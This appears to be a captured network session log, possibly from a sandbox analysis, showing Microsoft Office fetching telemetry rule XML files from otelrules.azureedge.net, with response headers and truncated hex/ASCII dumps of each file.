2024-11-18 01:34:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:33 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 244cb6a9-901e-0048-0390-38b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013433Z-1866b5c5fbbvz6qbhC1DFWsyms00000004cg000000004br3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:33 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:33 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: b72e63d2-001e-0079-62d2-3712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013433Z-1866b5c5fbbx98hfhC1DFWuqmg00000003sg00000000nc53 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:33 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:33 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:33 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 752b16b4-801e-0067-02c3-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013433Z-164f84587bfh9nvdhC1DFWmce0000000033g0000000046f1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:33 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:33 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:33 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013433Z-16547b76f7ftnm6xhC1DFW9c8c00000004mg00000000rc33 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:33 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:34 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 56128767-e01e-0071-6e9b-3808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013434Z-16547b76f7fd77jrhC1DFWfwq000000001t000000000bf9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:34 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:34 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:34 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e065a5a0-f01e-0052-23fc-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013434Z-164f84587bfdfkt7hC1DFW4fas000000036g000000003t8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:34 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:34 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:34 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 01685b32-c01e-00a1-6c98-387e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013434Z-1866b5c5fbb2ngs6hC1DFW402w000000038g00000000m4kg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:34 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:34 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5906632b-401e-005b-378d-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013434Z-164f84587bf7jb9dhC1DFWkay400000004vg000000001hex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:34 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:34 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e0fa4109-b01e-0070-571f-371cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013434Z-164f84587bflm48hhC1DFW0nf800000001u000000000m1tn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:35 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013435Z-1866b5c5fbblmqrkhC1DFWf9ns000000036g00000000c3ut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:35 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:35 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f0850b4c-401e-005b-0318-379c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013435Z-164f84587bfjxw6fhC1DFWq944000000056g00000000h13f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:35 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:35 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
